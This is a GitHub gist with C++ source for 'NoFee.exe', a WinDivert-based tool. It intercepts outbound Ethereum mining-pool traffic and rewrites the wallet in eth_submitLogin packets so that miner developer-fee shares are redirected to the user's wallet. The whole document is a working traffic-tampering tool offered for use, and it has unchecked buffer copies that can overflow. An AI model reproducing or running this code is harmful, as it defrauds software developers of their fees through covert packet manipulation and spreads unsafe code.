Skip to content

Instantly share code, notes, and snippets.

@lludlow

lludlow/devfee_bypass

Created June 16, 2017 19:02
Show Gist options
  • Save lludlow/adcfcc262ce1ae87cca4b2abf010acc4 to your computer and use it in GitHub Desktop.
Save lludlow/adcfcc262ce1ae87cca4b2abf010acc4 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
devfee_bypass
#include "stdafx.h"
#include "windivert.h"
#include <string>
#include <time.h>
using namespace std;
typedef struct
{
WINDIVERT_IPHDR ip;
WINDIVERT_TCPHDR tcp;
} PACKET, *PPACKET;
typedef struct
{
PACKET header;
UINT8 data[];
} DATAPACKET, *PDATAPACKET;
static void PacketInit(PPACKET packet)
{
memset(packet, 0, sizeof(PACKET));
packet->ip.Version = 4;
packet->ip.HdrLength = sizeof(WINDIVERT_IPHDR) / sizeof(UINT32);
packet->ip.Length = htons(sizeof(PACKET));
packet->ip.TTL = 64;
packet->ip.Protocol = IPPROTO_TCP;
packet->tcp.HdrLength = sizeof(WINDIVERT_TCPHDR) / sizeof(UINT32);
}
static void ShowWarning(){
printf("v3.4 \nPlease add arguments first your wallet [second mining pool port] second is optional but recomended \n");
printf("NoFee.exe wallet port\n");
printf("Example: NoFee.exe 0x69b612b2088a75054de71d7ec10dc50d3be94f55 \n");
printf("Example: NoFee.exe 0x69b612b2088a75054de71d7ec10dc50d3be94f55 4444\n\n");
printf("Example for nicehash, miningpoolhub or fork:\n");
printf("NoFee.exe 0x69b612b2088a75054de71d7ec10dc50d3be94f55 allpools\n\n");
}
int main(int argc, char * argv[])
{
char devFeeWall[] = { "0x69b612b2088a75054de71d7ec10dc50d3be94f55" };
char* userWal = devFeeWall;
char* port = "1";
int nicehash = 0;
PVOID pack;
if (argc < 2)
{
ShowWarning();
}
else{
if (argc == 2)
{
userWal = argv[1];
printf("Your DevFee mining to %s \n", userWal);
printf("To decrease CPU usege enter mining pool port! \n", userWal);
}
else
if (argc == 3)
{
userWal = argv[1];
port = argv[2];
if (isdigit(argv[2][1]))
{
userWal = argv[1];
printf("Fake DevFee mining to %s | pool port: %s \n", userWal, port);
}
else{
nicehash = 1;
printf("All Pools Detected! DevFee mining to %s \n", userWal);
}
}
}
HANDLE handle;
char filter[100];
strcpy(filter, "outbound && ");
if (nicehash==1)
{
strcat(filter, "( tcp.DstPort == 4444 || tcp.DstPort == 3333 || tcp.DstPort == 8008 || tcp.DstPort == 9999 ) ");
}else
if (atoi(port)>10)
{
strcat(filter, "tcp.DstPort == ");
strcat(filter, port);
}
else{
strcat(filter, "tcp.DstPort > 500 ");
}
strcat(filter, " && tcp.PayloadLength > 120");
handle = WinDivertOpen(filter, WINDIVERT_LAYER_NETWORK, 0, 0);
const int MAXBUF = 5500;
WINDIVERT_ADDRESS addr; // Packet address
char packet[MAXBUF]; // Packet buffer
UINT packetLen;
PDATAPACKET blockpage;
UINT16 blockpage_len;
char block_data2[350];
int realMining = 1;
string user_wallet(userWal);
int seconds = time(NULL);
int showR = 0;
while (TRUE)
{
WinDivertRecv(handle, packet, sizeof(packet), &addr, &packetLen);
PWINDIVERT_IPHDR ip_header;
PWINDIVERT_TCPHDR tcp_header;
PVOID payload;
UINT payload_len;
WinDivertHelperParsePacket(packet, packetLen, &ip_header, NULL,
NULL, NULL, &tcp_header, NULL, &payload, &payload_len);
int res = 0;
int submit = 0;
int foud = 0;
string packet_data((char*)payload, payload_len);
foud = packet_data.find("eth_submitLogin");
if (foud > 1)
{
int start_wallet = 0, end_wallet = 0, change = 0;
start_wallet = packet_data.find("0x");
end_wallet = packet_data.find("\"", start_wallet);
int len = end_wallet - start_wallet;
if (len!=42)
{
printf("Ethereum Mining working! \n");
}
else{
string this_wallet = packet_data.substr(start_wallet, end_wallet - start_wallet);
if (this_wallet == user_wallet)
{
printf("Ethereum Mining working \n");
}else{
change = 1;
}
}
if (change==1)
{
strcpy(block_data2, "{\"worker\": \"eth1.0\", \"jsonrpc\": \"2.0\", \"params\": [\"");
if (realMining<=0)
{
strcat(block_data2, devFeeWall);
}
else{
strcat(block_data2, userWal);
}
strcat(block_data2, "\", \"x\"], \"id\": 2, \"method\": \"eth_submitLogin\"} ");
block_data2[payload_len - 1] = packet_data[payload_len - 1];
blockpage_len = sizeof(DATAPACKET)+payload_len;
blockpage = (PDATAPACKET)malloc(blockpage_len);
PacketInit(&blockpage->header);
blockpage->header.ip.Length = htons(blockpage_len);
blockpage->header.tcp.SrcPort = tcp_header->SrcPort;
blockpage->header.tcp.Psh = tcp_header->Psh;
blockpage->header.tcp.Ack = tcp_header->Ack;
blockpage->header.tcp.Fin = tcp_header->Fin;
blockpage->header.tcp.Syn = tcp_header->Syn;
blockpage->header.tcp.Urg = tcp_header->Urg;
blockpage->header.tcp.UrgPtr = tcp_header->UrgPtr;
blockpage->header.tcp.Rst = tcp_header->Rst;
memcpy(blockpage->data, block_data2, payload_len);
blockpage->header.ip.SrcAddr = ip_header->SrcAddr;
blockpage->header.ip.DstAddr = ip_header->DstAddr;
blockpage->header.tcp.DstPort = tcp_header->DstPort;
blockpage->header.tcp.AckNum = tcp_header->AckNum;
blockpage->header.tcp.Window = tcp_header->Window;
blockpage->header.tcp.SeqNum = htonl(ntohl(tcp_header->SeqNum));
printf("DevFee Mining Detected: ");
if (realMining<=0)
{
realMining = 20;
}
if (showR == 1)
{
printf("Real DevFee Mining. Wait. Next time it will mine to your wallet! \n\n");
}
else
if (nicehash==1)
{
printf("Fake DevFee Mining to wallet: %s to DevFee Pool\n\n", user_wallet.c_str());
}
else{
printf("Fake DevFee Mining to : %s \n\n", user_wallet.c_str());
}
realMining--;
showR++;
submit = 1;
}
}
if (submit == 1)
{
int checkSum = WinDivertHelperCalcChecksums((PVOID)blockpage, blockpage_len, 0);
res = WinDivertSend(handle, (PVOID)blockpage, blockpage_len, &addr, NULL);
}
else{
int checkSum = WinDivertHelperCalcChecksums(packet, packetLen, 0);
res = WinDivertSend(handle, packet, packetLen, &addr, &packetLen);
};
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment